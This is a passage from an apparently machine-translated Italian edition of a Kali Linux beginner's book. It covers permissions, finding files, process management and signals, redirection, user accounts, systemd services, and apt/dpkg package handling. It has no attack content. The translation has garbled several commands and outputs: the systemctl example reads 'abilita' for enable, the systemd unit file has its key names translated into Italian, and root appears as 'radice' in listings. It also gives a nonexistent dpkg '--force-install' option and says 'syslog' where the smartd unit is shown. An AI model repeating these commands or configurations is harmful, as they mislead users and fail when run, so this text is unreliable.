pensare all'ordine dei permessi come al privilegio minore al privilegio
maggiore: lettura, scrittura, esecuzione. Tuttavia, poiché il bit più
significativo è il primo, lettura ha il valore più alto tra i tre bit usati. Il bit
più significativo ha un valore di 2 2 , ovvero 4. Write ha il valore di 2 1 ,
ovvero 2. Infine, execute ha il valore di 2 0 , ovvero 1. Ad esempio, se si
desidera impostare sia i permessi di lettura che di scrittura su un file, si
utilizzerebbe 4 + 2 , ovvero 6. Il modello di bit sarebbe 110, se è più facile
vederlo in questo modo.
Ci sono tre set di permessi: proprietario, gruppo e mondo (tutti). Quando
imposti i permessi, specifichi un valore numerico per ognuno, il che
significa che hai un valore di tre cifre. Ad esempio, per impostare lettura,
scrittura ed esecuzione per il proprietario ma solo lettura per il gruppo e
tutti, usi chmod 744 filename , dove filename è il nome del file per cui stai
impostando i permessi. Puoi anche specificare semplicemente il bit che
vuoi impostare o deimpostare, se è più semplice. Ad esempio, puoi usare
chmod u+x filename per aggiungere il bit eseguibile per il proprietario.
Il file system Linux è generalmente ben strutturato, quindi puoi essere
sicuro di dove cercare i file. Tuttavia, in alcuni casi, potresti aver bisogno di
cercare i file. Su Windows o macOS, potresti capire come cercare i file,
poiché gli strumenti necessari sono incorporati nei file manager. Se stai
lavorando dalla riga di comando, devi conoscere i mezzi che puoi usare per
localizzare i file. Il primo è locate , che si basa su un database di sistema. Il
programma updatedb aggiornerà quel database e quando usi locate , il
sistema interrogherà il database per trovare la posizione del file.
Se stai cercando un programma, puoi utilizzare un'altra utilità.
Il programma che ti dirà dove si trova il programma. Questo può essere
utile se hai diverse posizioni in cui sono conservati gli eseguibili. Nota che
usa la variabile PATH nell'ambiente dell'utente per cercare il programma.
Se l'eseguibile viene trovato nel PATH, viene visualizzato il percorso
completo all'eseguibile. Se ci sono più istanze di un nome file in directory
diverse nelle impostazioni del percorso, verrà visualizzata solo la prima.
Un programma più polivalente per la posizione è find . Mentre find ha
molte capacità, un approccio semplice è usare qualcosa come find / -name
foo -print . Non devi fornire il parametro -print , poiché stampare i risultati
è il comportamento predefinito; è solo il modo in cui ho imparato a
eseguire il comando, e mi è rimasto. Usando find , specifichi il percorso in
cui cercare. find esegue una ricerca ricorsiva, il che significa che inizia dalla
directory specificata e cerca in tutte le directory sotto la directory
specificata. Nell'esempio precedente, stiamo cercando il file denominato
foo . Puoi usare espressioni regolari, inclusi i caratteri jolly, nella tua
ricerca. Se vuoi trovare un file che inizia con le lettere foo , usi find / -name
“foo*” -print . Nell'esempio 1-3 , puoi vedere l'uso di find per individuare
un file nella directory /etc . Vedrai errori che indicano autorizzazione
negata. Ciò deriva dalla ricerca in directory di proprietà di un altro utente e
che non hanno autorizzazioni di lettura impostate per altri utenti. Se stai
usando modelli di ricerca, devi mettere la stringa e il modello tra virgolette
doppie. Mentre find ha molte capacità, questo ti aiuterà a iniziare.
Esempio 1-3. Utilizzo di find
┌──(kilroy@badmilo)-[/etc] └─$
find . -name catalog.xml find:
'./redis': Permesso negato find:
'./ipsec.d/private': Permesso
negato find: './openvas/gnupg':
Permesso negato find:
'./ssl/private': Permesso negato
find: './polkit-1/localauthority':
Permesso den find: './polkit1/rules.d': Permesso negato
./vmwaretools/vgauth/schemas/catalog.xml
find: './vpnc': Permesso negato
Gestione dei processi
Quando esegui un programma, avvii un processo. Puoi pensare a un
processo come a un'istanza dinamica e in esecuzione di un programma, che
è statico perché si trova su un supporto di memorizzazione. Ogni sistema
Linux in esecuzione ha decine o centinaia di processi in esecuzione in un
dato momento. Nella maggior parte dei casi, puoi aspettarti che il sistema
operativo gestisca i processi nel modo migliore. Tuttavia, a volte potresti
volerti coinvolgere. Ad esempio, potresti voler controllare se un processo è
in esecuzione, poiché non tutti i processi sono in esecuzione in primo
piano. Un processo in primo piano ha attualmente il potenziale per essere
visto e interagire con l'utente, rispetto a un processo in background.
processo , con cui un utente non sarebbe in grado di interagire a meno che
non fosse portato in primo piano e progettato per l'interazione dell'utente.
Ad esempio, controllando semplicemente il numero di processi in
esecuzione su un sistema Kali Linux altrimenti inattivo, ho scoperto 141
processi, con solo uno in primo piano. Tutti gli altri erano servizi di qualche
tipo.
Per ottenere un elenco di processi, puoi usare il comando ps . Questo
comando da solo non ti dà molto più dell'elenco dei processi che
appartengono all'utente che esegue il programma. Ogni processo, proprio
come i file, ha un proprietario e un gruppo. Il motivo è che i processi
devono interagire con il file system e altri oggetti, e avere un proprietario e
un gruppo è il modo in cui il sistema operativo determina se al processo
deve essere consentito l'accesso. Nell'esempio 1-4 , puoi vedere come
appare l'esecuzione di ps .
Esempio 1-4. Ottenere un elenco di processi
┌──(kilroy@badmilo)-[~]
└─$ ps
PID TTY TEMPO CMD
4068 punti/1 00:00:00 bash
4091 punti/1 00:00:00 ps
Ciò che si vede nell'esempio 1-4 è il numero di identificazione del processo,
comunemente noto come ID di processo o PID , seguito dalla porta del
telescrivente su cui è stato emesso il comando, dalla quantità di tempo
trascorso nel processore e infine dal
comando. La maggior parte dei comandi che vedrai hanno parametri che
puoi aggiungere alla riga di comando, e questi cambieranno il
comportamento del programma.
PAGINE DEL MANUALE
Storicamente, il manuale di Unix è stato disponibile online, ovvero
direttamente sulla macchina. Per ottenere la documentazione per qualsiasi
comando, dovresti eseguire il programma man seguito dal comando per
cui desideri la documentazione. Queste pagine del manuale, o man, sono
state formattate in un linguaggio di composizione chiamato troff . Di
conseguenza, quando leggi la pagina man, sembra che sia stata formattata
per essere stampata, il che è essenzialmente vero. Se hai bisogno di aiuto
per trovare i parametri della riga di comando rilevanti per ottenere il
comportamento che stai cercando, puoi usare la pagina man per ottenere i
dettagli. Le pagine man ti forniranno anche i comandi e le informazioni
associati.
Il manuale Unix era diviso in sezioni, come segue:
1. Comandi generali
2. Chiamate di sistema
3. Funzioni di libreria
4. File speciali
5. Formati di file
6. Giochi e salvaschermo
7. Varie
8. Comandi e demoni di amministrazione del sistema
Quando la stessa parola chiave si applica a più aree, come open , basta
specificare la sezione desiderata. Se si desidera che la chiamata di sistema
sia open , si usa il comando man 2 open . Se si ha anche bisogno di
conoscere i comandi rilevanti, si può usare il comando apropos , come in
apropos open . Si otterrà un elenco di tutte le voci manuali rilevanti.
È interessante notare che AT&T Unix si è discostato un po' da BSD Unix. Ciò
ha portato ad alcune variazioni dei parametri della riga di comando, a
seconda della derivazione Unix con cui si è iniziato. Per elenchi di processi
più dettagliati, inclusi tutti i processi appartenenti a tutti gli utenti (poiché
senza specificare, si ottengono solo i processi appartenenti al proprio
utente), si potrebbe usare ps -ea o ps aux . Entrambi forniranno l'elenco
completo, anche se ci saranno differenze nei dettagli forniti.
La cosa di usare ps è che è statico: lo esegui una volta e ottieni l'elenco dei
processi. Un altro programma può essere usato per guardare l'elenco dei
processi cambiare quasi in tempo reale. Mentre è possibile ottenere
statistiche come l'utilizzo di memoria e processore da ps , con top , non
devi richiederlo. L'esecuzione di top ti darà l'elenco dei processi,
aggiornato a intervalli regolari. Puoi vedere un output di esempio
nell'Esempio 1-5 .
Esempio 1-5. Utilizzo di top per gli elenchi dei processi
top - 21:54:53 su 63 giorni, 3:20, 1 utente,
carica Attività: 253 totali, 1 in esecuzione,
252 in pausa, 0
% CPU: 0,1 us, 0,0 sy, 0,0 ni, 99,9 id, 0,0
MiB Mem: 64033.1 totali, 2912.2 liberi, 1269.2
MiB Swap: 8192,0 totali, 8180,7 liberi, 11,2
PID UTENTE PR NI VIRT RES SHR S
419627 kiloroy 20 0 7736 3864 3004 R
1 radice 20 0 167732 12648 7668 S
2 radice 20 0 0 0 0 S
3 radice 0 -20 0 0 0 io
4 radice 0 -20 0 0 0 io
5 radice 0 -20 0 0 0 io
Oltre a fornire un elenco di processi, la quantità di memoria che stanno
utilizzando e la percentuale di CPU utilizzata, oltre ad altre specifiche, top
mostra i dettagli sul sistema in esecuzione, che vedrai in alto. Ogni volta
che la visualizzazione si aggiorna, l'elenco dei processi si riorganizza,
indicando quali processi stanno consumando più risorse. Come noterai, top
stesso consuma una certa quantità di risorse e spesso lo vedrai vicino alla
parte superiore dell'elenco dei processi. Uno dei campi importanti che
vedrai non solo in top ma anche in ps è il PID. Oltre a fornire un modo per
identificare chiaramente un processo da un altro, in particolare quando il
nome del processo è lo stesso, fornisce anche un modo per inviare
messaggi al processo.
Troverai due comandi inestimabili quando gestisci processi. Sono
strettamente correlati, svolgono la stessa funzione, sebbene offrano
capacità leggermente diverse. Il primo comando è kill , che, forse non
sorprendentemente, può uccidere un processo in esecuzione. Più
specificamente, invia un segnale al processo. Il sistema operativo interagirà
con i processi inviando loro segnali. I segnali sono un mezzo di
comunicazione interprocesso (IPC). Il segnale predefinito per kill è il
segnale TERM (SIGTERM), che significa terminate , ma se specifichi un
segnale diverso, kill invierà quel segnale al suo posto. Per inviare un
segnale diverso, immetti kill -# pid , dove # indica il numero che equivale al
segnale che intendi inviare e pid è il numero di identificazione del processo
che puoi trovare usando ps o top .
SEGNALI
I segnali per un sistema sono forniti in un file di intestazione C. Il modo più
semplice per ottenere un elenco di tutti i segnali con il loro valore
numerico e l'identificatore mnemonico per il segnale è eseguire kill -l ,
come puoi vedere qui:
┌──(kilroy@badmilo)-[~]
└─$ sudo kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT
5) SIGTRAP 6) SIGABRT 7) SIGBUS
9) SIGKILL 10) SIGUSR1 11) SIGSEGV
13) SIGPIPE 14) SIGALRM 15) SIGTERM
17) SIGCHLD 18) SIGCONT 19) SIGSTOP 2
21) SIGTTIN 22) SIGTTOU 23) SIGURG 2
25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 2
29) SIGIO 30) SIGPWR 31) SIGSYS 3
35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 3
39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 4
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 4
47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 5
51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 5
55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 5
59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 6
63) SIGRTMAX-1 64) SIGRTMAX
Sebbene siano definiti molti segnali, tu, come utente, ne userai solo un
piccolo numero. Di solito, quando si tratta di gestire processi, il segnale
SIGTERM è il più utile. È il segnale che kill e killall emettono per
impostazione predefinita. Quando SIGTERM non è adeguato per far
fermare il processo, potresti dover emettere un segnale più forte. Quando
SIGTERM viene inviato, spetta al processo gestire il segnale e uscire. Se il
processo si blocca, potrebbe aver bisogno di ulteriore aiuto. SIGKILL
(segnale numero 9) terminerà forzatamente il processo senza fare
affidamento sul processo stesso per gestirlo.
Il secondo comando con cui dovresti familiarizzare è killall . La differenza
tra kill e killall è che con killall non hai necessariamente bisogno del PID.
Invece, usi il nome del processo. Questo può essere utile, specialmente
quando un genitore può aver generato diversi processi figlio. Se vuoi
ucciderli tutti contemporaneamente, puoi usare killall , che farà il lavoro di
cercare i PID dalla tabella dei processi e di inviare il segnale appropriato al
processo. Proprio come nel caso di kill , killall accetterà un numero di
segnale da inviare al processo. Se hai bisogno di uccidere forzatamente
tutte le istanze del processo denominato firefox , ad esempio, useresti
killall -9 firefox .
Altre utilità
Ovviamente, non esamineremo l'intero elenco di comandi disponibili sulla
riga di comando di Linux. Tuttavia, alcuni comandi aggiuntivi sono utili per
capire. Tieni presente che Unix è stato progettato per avere semplici utilità
che possono essere concatenate. Lo fa tramite tre flussi di input/output
standard: STDIN, STDOUT e STDERR. Ogni processo eredita questi tre flussi
quando si avvia. L'input arriva tramite STDIN, l'output va a STDOUT e gli
errori vengono inviati a STDERR, anche se forse tutto questo è ovvio. Il
vantaggio di questo è che se non vuoi vedere errori, ad esempio, puoi
inviare il flusso STDERR da qualche parte in modo che il tuo output
normale non sia disordinato.
Ognuno di questi flussi può essere reindirizzato. Normalmente, STDOUT e
STDERR vanno nello stesso posto (tipicamente, la console). STDIN ha
origine dalla console. Se vuoi che il tuo output vada da qualche altra parte,
puoi usare l' operatore > . Se, ad esempio, volessi inviare l'output di ps a un
file, potrei usare ps auxw > ps.out . Questo invia l'output del comando ps al
file denominato ps.out . Quando reindirizzi l'output, non lo vedi più sulla
console. In questo esempio, se ci fosse un errore, lo vedresti ma non
vedresti nulla che va a STDOUT. Se volessi reindirizzare l'input, andresti
dall'altra parte. Invece di > , useresti < , indicando la direzione in cui vuoi
che scorrano le informazioni.
Comprendere i diversi flussi I/O e il reindirizzamento ti aiuterà nel percorso
di comprensione dell'operatore | (pipe). Quando usi | , stai dicendo,
"Prendi l'output da ciò che è sul lato sinistro e invialo all'input per ciò che è
sul lato destro". Stai effettivamente mettendo in atto un accoppiatore tra
due applicazioni, inviando STDOUT a STDIN, senza dover passare attraverso
alcun dispositivo intermedio.
Una delle funzioni più utili del concatenamento o del piping dei comandi è
la ricerca o il filtraggio. Ad esempio, se hai un lungo elenco di processi dal
comando ps , potresti usare l'operatore pipe per inviare l'output di ps a un
altro programma, grep , che può essere usato per cercare stringhe. Come
altro esempio, se vuoi trovare tutte le istanze del programma denominato
httpd , usi ps auxw | grep httpd . Il comando grep viene usato per cercare
una stringa di ricerca in un flusso di input. Sebbene sia utile per filtrare le
informazioni, puoi anche cercare il contenuto dei file con grep . Ad
esempio, se vuoi cercare la stringa wubble in tutti i file in una directory,
puoi usare grep wubble * . Se vuoi assicurarti che la ricerca segua tutte le
directory, dici a grep di usare una ricerca ricorsiva con grep -R wubble * .
Gestione degli utenti
Mentre Kali ti faceva accedere come root di default, in diverse versioni non
è stato così. Ti verrà chiesto, proprio come in altre distribuzioni Linux, di
creare l'utente che utilizzerai. A questo utente viene concessa la possibilità
di ottenere temporaneamente i permessi di superutente utilizzando l'
utilità sudo . Il tuo utente verrà aggiunto al gruppo sudo . Ciò è necessario
perché gran parte di ciò che farai in Kali richiederà privilegi amministrativi.
Potresti voler aggiungere altri utenti e gestire gli utenti in Kali, proprio
come con altre distribuzioni. Se vuoi creare un utente, puoi semplicemente
usare il comando useradd . Puoi anche usare adduser . Entrambi
raggiungono lo stesso obiettivo. Quando crei utenti, è utile capire alcune
delle caratteristiche degli utenti. Come minimo, ogni utente dovrebbe
avere una directory home, una shell, un nome utente e un gruppo. Se
voglio aggiungere il mio nome utente comune, ad esempio, userei useradd
-d /home/kilroy -s /bin/bash -g users -m kilroy . I parametri forniti
specificano la directory home, la shell che l'utente dovrebbe eseguire
quando effettua l'accesso in modo interattivo e il gruppo predefinito. Il -m
specificato indica che useradd dovrebbe creare la directory home. Questo
popolerà anche la directory home con i file di base necessari per gli accessi
interattivi.
Nel caso dell'ID gruppo specificato, useradd richiede che il gruppo esista.
Se vuoi che il tuo utente abbia il suo gruppo, puoi usare groupadd per
creare un nuovo gruppo e poi usare useradd per creare l'utente che
appartiene al nuovo gruppo. Se vuoi aggiungere il tuo utente a più gruppi,
puoi modificare il file /etc/group e aggiungere il tuo utente alla fine di ogni
riga del gruppo di cui vuoi che il tuo utente sia membro. Questo è
abbastanza facile da fare, ma anche altre utility come usermod
aggiungeranno utenti a gruppi specificati. Per raccogliere qualsiasi
autorizzazione associata all'accesso di quei gruppi ai file, ad esempio, devi
uscire e riaccedere. Ciò raccoglierà le modifiche al tuo utente, inclusi i
nuovi gruppi.
Una volta creato l'utente, dovresti impostare una password, usando il
comando passwd . Se sei root e vuoi cambiare la password di un altro
utente, usa passwd kilroy nel caso dell'utente creato nell'esempio
precedente. Se usi semplicemente passwd senza un nome utente,
cambierai la tua password.
MANCIA
La shell Z (zsh) sostituisce la shell Bourne Again (bash) come predefinita. Tuttavia, possono essere
utilizzate altre shell. Se ti senti avventuroso, potresti dare un'occhiata ad altre shell come bash, fish,
csh o ksh. La shell bash si comporterà molto come la zsh con cui inizierai. Altre offrono altre possibilità
che potrebbero interessarti, specialmente se ti piace sperimentare. Se vuoi cambiare in modo
permanente la tua shell, puoi modificare /etc/passwd o utilizzare chsh e far cambiare la tua shell per
te.
Gestione dei servizi
Per molto tempo, ci sono stati due stili di gestione dei servizi: il metodo
BSD e il metodo AT&T. Questo non è più vero. Ora ci sono tre modi di
gestire i servizi. Prima di entrare nella gestione dei servizi, dovremmo
prima definire un servizio. Un servizio in questo contesto è un programma
che viene eseguito senza alcun intervento da parte dell'utente. L'ambiente
operativo lo avvia automaticamente e viene eseguito in background. A
meno che tu non abbia un elenco di processi, potresti non sapere mai che
è in esecuzione. La maggior parte dei sistemi ha un numero discreto di
questi servizi in esecuzione in qualsiasi momento. Sono chiamati servizi
perché forniscono un servizio al sistema, agli utenti o talvolta agli utenti
remoti.
Poiché non c'è interazione diretta con l'utente, in genere, in termini di
avvio e terminazione di questi servizi, deve esserci un altro modo per
avviare e arrestare i servizi che può essere chiamato automaticamente
durante l'avvio e l'arresto del sistema. Con la possibilità di gestire i servizi
in atto, gli utenti possono anche utilizzare la stessa possibilità per avviare,
arrestare, riavviare e ottenere lo stato di questi servizi.
NOTA
I servizi sono a livello di sistema. Per gestirli sono necessari privilegi amministrativi. Devi essere root
oppure devi usare sudo per ottenere privilegi di root temporanei per eseguire le funzioni di gestione
del servizio.
processo di avvio init di AT&T . Ciò significava che i servizi venivano eseguiti
con un set di script che accettavano parametri standard. Il sistema di avvio
init utilizzava i runlevel per determinare quali servizi venivano avviati. La
modalità monoutente avviava un set di servizi diverso rispetto alla
modalità multiutente. Quando veniva utilizzato un gestore di
visualizzazione, venivano avviati anche più servizi, per fornire interfacce
grafiche utente (GUI) agli utenti. Gli script venivano archiviati in /etc/init.d/
e potevano essere gestiti fornendo parametri quali start , stop , restart e
status . Ad esempio, se si desiderava avviare il servizio SSH, si poteva
utilizzare il comando /etc/init.d/ssh start . Il problema con il sistema init ,
tuttavia, era che era generalmente di natura seriale. Ciò causava problemi
di prestazioni all'avvio del sistema perché ogni servizio veniva avviato in
sequenza anziché avviare più servizi contemporaneamente. L'altro
problema con il sistema init era che non supportava bene le dipendenze.
Spesso, un servizio si basava su altri servizi che dovevano essere avviati per
primi.
Arriva systemd , sviluppato dagli sviluppatori software di Red Hat.
L'obiettivo di systemd era migliorare l'efficienza del sistema init e superare
alcune delle sue carenze. I servizi possono dichiarare dipendenze e
possono essere avviati in parallelo. Non c'è più bisogno di scrivere script
bash per avviare i servizi. Invece, ci sono file di configurazione e tutta la
gestione dei servizi è gestita con il programma systemctl . Per gestire un
servizio tramite systemctl , dovresti usare systemctl verb service , dove verb
è il comando che stai passando e service è il nome del servizio. Ad
esempio, se volessi abilitare il servizio SSH e poi avviarlo, dovresti impartire
i comandi nell'Esempio 1-6 .
Esempio 1-6. Abilitazione e avvio del servizio SSH
┌──(kilroy@badmilo)-[~]
└─$ sudo systemctl abilita ssh
Sincronizzazione dello stato di ssh.service con
SysV serv /lib/systemd/systemd-sysv-install.
Esecuzione: /lib/systemd/systemd-sysv-install
enab
┌──(kilroy@badmilo)-[~]
└─$ sudo systemctl start ssh
Per prima cosa, abiliti il servizio: stai dicendo al tuo sistema che quando
esegui l'avvio, vuoi che questo servizio si avvii. Le diverse modalità di avvio
del sistema in cui il servizio si avvierà sono configurate nel file di
configurazione associato al servizio. Ogni servizio ha un file di
configurazione. Invece di usare i runlevel, come faceva il vecchio sistema
init , systemd usa i target. Un target è essenzialmente lo stesso di un
runlevel, in quanto indica una particolare modalità di funzionamento del
tuo sistema. L'esempio 1-7 mostra uno di questi script dal servizio smartd ,
che viene usato per gestire i dispositivi di archiviazione.
Esempio 1-7. Configurazione di un servizio per systemd
$ cat smartd.servizio
[Unità]
Descrizione=Tecnologia di automonitoraggio e
segnalazione
Documentazione=man:smartd(8) man:smartd.conf(5)
# In genere, i dispositivi di archiviazione
fisica vengono gestiti
# Sostituiscilo se stai utilizzando il
passthrough PCI/USB
CondizioneVirtualizzazione=no
[Servizio]
Type=notify
EnvironmentFile=-/etc/default/smartmontools
ExecStart=/usr/sbin/smartd -n $smartd_opts
ExecReload=/bin/kill -HUP $MAINPID
[Install]
WantedBy=multi-user.target
Alias=smartd.service
La sezione Unit indica i requisiti e la descrizione, nonché la
documentazione. La sezione Service indica come deve essere avviato e
gestito il servizio. Il servizio Install indica il target che deve essere utilizzato.
In questo caso, syslog è nel target multi-utente.
Kali utilizza un sistema basato su systemd per l'inizializzazione e la gestione
dei servizi, quindi utilizzerai principalmente systemctl per gestire i tuoi
servizi. In rari casi, un servizio che è stato installato non supporta
l'installazione su systemd . In tal caso, installerai uno script di servizio su
/etc/init.d/ e dovrai chiamare lo script lì per avviare e arrestare il servizio.
Per la maggior parte, però, si tratta di eventi rari.
Gestione dei pacchetti
Sebbene Kali sia dotato di un ampio set di pacchetti, non tutto ciò che Kali
è in grado di installare è nell'installazione predefinita. In alcuni casi,
potresti voler installare pacchetti. Vorrai anche aggiornare il tuo set di
pacchetti. Per gestire i pacchetti, indipendentemente da ciò che stai
cercando di fare, puoi usare Advanced Package Tool ( apt ). Esistono anche
altri modi per gestire i pacchetti. Puoi usare i frontend, ma alla fine sono
tutti solo programmi che si trovano sopra APT. Puoi usare qualsiasi
frontend tu voglia, ma APT è così facile da usare che è utile sapere come
usarlo. Sebbene sia una riga di comando, è comunque un ottimo
programma. Infatti, è molto più facile da usare di alcuni dei frontend che
ho visto sopra APT nel corso degli anni.
Per prima cosa, potresti voler aggiornare tutti i metadati nel tuo database
locale dei pacchetti. Questi sono i dettagli sui pacchetti che hanno i
repository remoti, inclusi i numeri di versione. Le informazioni sulla
versione sono necessarie per determinare se il software che hai è obsoleto
e necessita di un aggiornamento. Per aggiornare il tuo database locale dei
pacchetti, dici ad APT che vuoi aggiornare, come puoi vedere nell'Esempio
1-8 .
Esempio 1-8. Aggiornamento del database del pacchetto tramite apt
┌──(kilroy@badmilo)-[~]
└─$ sudo apt update
Ottieni: 1 http://kali.localmsp.org/kali kalirolling
Ottieni:2 http://kali.localmsp.org/kali kalirolling/
Ottieni:3 http://kali.localmsp.org/kali kalirolling/
Ottieni:4 http://kali.localmsp.org/kali kalirolling/
Recuperati 15,8 MB in 2 secondi (6437 kB/s)
Lettura degli elenchi dei pacchetti... Fatto
Creazione dell'albero delle dipendenze
Lettura delle informazioni sullo stato... Fatto
142 pacchetti possono essere aggiornati. Esegui
'apt list --upg
Una volta aggiornato il database locale dei pacchetti, APT ti dirà se sono
disponibili aggiornamenti per ciò che hai installato. In questo caso, 142
pacchetti devono essere aggiornati. Per aggiornare tutto il software sul tuo
sistema, puoi usare apt upgrade . Usando solo apt upgrade aggiornerai
tutti i pacchetti. Se devi aggiornare solo un singolo pacchetto, puoi usare
apt upgrade packagename , dove packagename è il nome del pacchetto
che vuoi aggiornare. Il formato di pacchetti usato da Debian e, per
estensione, da Kali, dice ad APT quali sono i pacchetti richiesti. Questo
elenco di dipendenze dice a Kali cosa deve essere installato affinché un
particolare pacchetto funzioni. Nel caso dell'aggiornamento del software,
aiuta a determinare l'ordine in cui i pacchetti devono essere aggiornati.
Se devi installare un software, è facile come digitare apt install
packagename . Di nuovo, le dipendenze sono importanti qui. APT
determinerà quale software deve essere installato prima del pacchetto che
stai richiedendo. Di conseguenza, quando chiedi di installare un pezzo di
software, APT ti dirà che è necessario altro software. Otterrai un elenco di
tutto il software necessario e ti verrà chiesto se vuoi installarlo tutto.
Potresti anche ottenere un elenco di pacchetti software opzionali. I
pacchetti potrebbero avere un elenco di software correlati che possono
essere utilizzati con i pacchetti che stai installando. Se vuoi installarli,
dovrai dire ad APT separatamente che vuoi installarli. I pacchetti opzionali
non sono affatto necessari.
La rimozione dei pacchetti utilizza apt remove packagename . Uno dei
problemi con la rimozione del software è che, nonostante ci siano
dipendenze per l'installazione, lo stesso software potrebbe non essere
necessariamente rimosso, semplicemente perché una volta installato,
potrebbe essere utilizzato da altri pacchetti software. APT, tuttavia,
determinerà se i pacchetti software non sono più in uso. Quando esegui
una funzione utilizzando APT, potrebbe dirti che alcuni pacchetti
potrebbero essere rimossi. Per rimuovere i pacchetti che non sono più
necessari, utilizza apt autoremove .
Tutto questo presuppone che tu sappia cosa stai cercando. Potresti non
essere completamente sicuro del nome di un pacchetto. In tal caso, puoi
usare apt-cache per cercare i pacchetti. Puoi usare termini di ricerca che
potrebbero essere nomi parziali di pacchetti, poiché a volte i pacchetti
potrebbero non avere esattamente il nome che ti aspetti. Diverse
distribuzioni Linux potrebbero nominare un pacchetto con un nome
diverso. Nell'esempio 1-9 , ho cercato sshd perché il nome del pacchetto
potrebbe essere sshd , ssh , o qualcos'altro del tutto. Puoi vedere i risultati.
Esempio 1-9. Ricerca di pacchetti tramite apt-cache
┌──(kilroy@badmilo)-[~] └─$ apt-cache search sshd
fail2ban - banna gli host che causano
autenticazioni multiple libconfig-model-cursesuiperl - interfaccia curses tramite Config::Model
libconfig-model-openssh-perl - modifica della
configurazione libconfig-model-tkui-perl - GUI Tk
per modificare la configurazione libnetconf2-2 libreria del protocollo NETCONF [C libra
libnetconf2-dev - libreria del protocollo NETCONF
[C dev libnetconf2-doc - libreria del protocollo
NETCONF [docs openssh-server - server secure
shell (SSH), per s tinysshd - server SSH
minuscolo - demone zsnapd - demone snapshot ZFS
scritto in python zsnapd-rcmd - controllo remoto
dei comandi sshd per ZFS Quello che puoi vedere è che il
server SSH su Kali sembra chiamarsi openssh-server . Se quel pacchetto
non fosse installato ma lo volessi, useresti il nome del pacchetto
openssh-server per installarlo. Questo in un certo senso presuppone che
tu sappia quali pacchetti sono installati sul tuo sistema. Con migliaia di
pacchetti software installati, è improbabile che tu sappia tutto ciò che è
già presente. Se vuoi sapere quale software è installato, puoi usare dpkg
. Questo è un programma che ha molteplici usi, tra cui l'installazione di
software da un file .deb . Per ottenere l'elenco di tutti i pacchetti
software installati, usi dpkg --list . È lo stesso che usare dpkg -l . Entrambi
ti daranno un elenco di tutto il software installato.
L'elenco che riceverai fornirà il nome del pacchetto, nonché una
descrizione del pacchetto e il numero di versione installato. Otterrai anche
l'architettura della CPU per cui è stato creato il pacchetto. Se hai una CPU a
64 bit e hai installato la versione a 64 bit di Kali, probabilmente vedrai che
la maggior parte dei pacchetti ha l'architettura impostata come amd64 ,
anche se potresti anche vederne alcuni contrassegnati come all , il che
potrebbe semplicemente significare che nel pacchetto non ci sono
eseguibili. Qualsiasi pacchetto di documentazione sarebbe per tutte le
architetture, ad esempio.
Puoi anche usare dpkg quando installi software che non si trova nel
repository Kali. Se trovi un file .deb , puoi scaricarlo e poi usare dpkg -i
<packagename> per installarlo. Potresti anche voler rimuovere un
pacchetto che è stato installato. Mentre puoi usare apt per quello, puoi
anche usare dpkg , specialmente se il pacchetto è stato installato in quel
modo. Per rimuovere un pacchetto usando dpkg , usi dpkg -r
<packagename> . Se non sei sicuro del nome del pacchetto, puoi ottenerlo
dall'elenco dei pacchetti installati che hai usato dpkg per ottenere.
Ogni pacchetto software può includere una raccolta di file, tra cui
eseguibili, documentazione, file di configurazione predefiniti e librerie, a
seconda delle necessità del pacchetto. Se si desidera visualizzare il
contenuto di un pacchetto, è possibile utilizzare dpkg -c <filename> , dove
il nome file è il nome completo del file .deb . Nell'esempio 1-10 , è
possibile visualizzare il contenuto parziale di un pacchetto di gestione dei
log, nxlog . Questo pacchetto non è fornito come parte del repository Kali,
ma è fornito come download gratuito per l'edizione community. Il
contenuto di questo pacchetto include non solo i file, ma anche i permessi,
tra cui il proprietario e il gruppo. È inoltre possibile visualizzare la data e
l'ora associate al file dal pacchetto.
Esempio 1-10. Contenuto parziale del pacchetto nxlog
┌──(kilroy@badmilo)-[~]
└─$ dpkg -c nxlog-ce_3.2.2329_ubuntu22_amd64.deb
drwxr-xr-x radice/radice 0 2023-04-14 09:14
drwxr-xr-x radice/radice 0 2023-04-14 09:14
drwxr-xr-x radice/radice 0 2023-04-14 09:14 -rwr--r-- radice/radice 1275 2023-04-14 08:49 drwxrxr-x radice/radice 0 2023-04-14 09:14 drwxr-xr-x
radice/radice 0 2023-04-14 09:14 drwxr-xr-x
radice/radice 0 2023-04-14 09:14 -rw-r--r-radice/radice 349 2023-04-14 08:49 drwxr-xr-x
radice/radice 0 2023-04-14 09:14 drwxr-xr-x
radice/radice 0 2023-04-14 09:14 -rwxr-xr-x
radice/radice 517232 2023-04-14 09:14
-rwxr-xr-x radice/radice 500856 2023-04-14 09:14
-rwxr-xr-x radice/radice 455808 2023-04-14 09:14
drwxr-xr-x radice/radice 0 2023-04-14 09:14
drwxr-xr-x radice/radice 0 2023-04-14 09:14
drwxr-xr-x radice/radice 0 2023-04-14 09:14
drwxr-xr-x radice/radice 0 2023-04-14 09:14 -rwr--r-- radice/radice 15678 2023-04-14 09:14
Dovresti tenere in considerazione che le applicazioni distribuite in formato
file .deb sono generalmente create per una distribuzione specifica . Ciò
accade perché di solito ci sono dipendenze che la persona o il gruppo che
crea il pacchetto sa che la distribuzione può fornire. Altre distribuzioni
potrebbero non avere le versioni giuste per soddisfare i requisiti del
pacchetto software. In tal caso, il software potrebbe non funzionare
correttamente. dpkg genererà un errore se le dipendenze non sono
soddisfatte. Puoi forzare l'installazione usando --force-install come
parametro della riga di comando oltre a -i , ma sebbene il software venga
installato, non vi è alcuna garanzia che funzionerà correttamente.
dpkg ha altre capacità che ti permettono di esaminare i pacchetti software,
interrogare il software installato e altro ancora. Le opzioni elencate in
precedenza ti aiuteranno più che altro a iniziare. Con l'ampio numero di
pacchetti disponibili nel repository Kali, sarebbe insolito, anche se non
impossibile, che tu dovessi fare delle installazioni esterne. Tuttavia, è
comunque utile conoscere dpkg e le sue capacità.
Accesso remoto
I computer in rete offrono il potenziale per l'accesso remoto. Mentre i
sistemi Windows sono stati sviluppati principalmente per un singolo
